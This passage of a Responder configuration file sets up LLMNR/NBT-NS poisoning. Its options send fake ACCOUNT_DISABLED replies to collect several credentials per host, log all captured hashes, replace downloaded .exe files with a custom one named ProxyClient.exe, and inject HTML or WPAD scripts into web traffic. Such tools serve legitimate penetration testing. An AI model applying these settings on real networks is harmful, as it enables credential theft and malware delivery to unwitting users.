43 | ; Specific NBT-NS/LLMNR names to respond to (default = All)
44 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
45 | ;RespondToName = WPAD, DEV, PROD, SQLINT
46 | RespondToName =
47 |
48 | ; Specific IP Addresses not to respond to (default = None)
49 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
50 | DontRespondTo =
51 |
52 | ; Specific NBT-NS/LLMNR names not to respond to (default = None)
53 | ; Example: DontRespondTo = NAC, IPS, IDS
54 | DontRespondToName = ISATAP
55 |
56 | ; If set to On, we will stop answering further requests from a host
57 | ; if a hash has been previously captured for this host.
58 | AutoIgnoreAfterSuccess = Off
59 |
60 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries
61 | ; to authenticate for the first time to try to get different credentials.
62 | ; This may break file serving and is useful only for hash capture
63 | CaptureMultipleCredentials = On
64 |
65 | ; If set to On, we will write to file all hashes captured from the same host.
66 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
67 | ; domain\popo, domain\zozo. Recommended value: On, capture everything.
68 | CaptureMultipleHashFromSameHost = On
69 |
70 | [HTTP Server]
71 |
72 | ; Set to On to always serve the custom EXE
73 | Serve-Always = Off
74 |
75 | ; Set to On to replace any requested .exe with the custom EXE
76 | Serve-Exe = Off
77 |
78 | ; Set to On to serve the custom HTML if the URL does not contain .exe
79 | ; Set to Off to inject the 'HTMLToInject' in web pages instead
80 | Serve-Html = Off
81 |
82 | ; Custom HTML to serve
83 | HtmlFilename = files/AccessDenied.html
84 |
85 | ; Custom EXE File to serve
86 | ExeFilename = ;files/filetoserve.exe
87 |
88 | ; Name of the downloaded .exe that the client will see
89 | ExeDownloadName = ProxyClient.exe
90 |
91 | ; Custom WPAD Script
92 | ; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
93 | WPADScript =
94 |
95 | ; HTML answer to inject in HTTP responses (before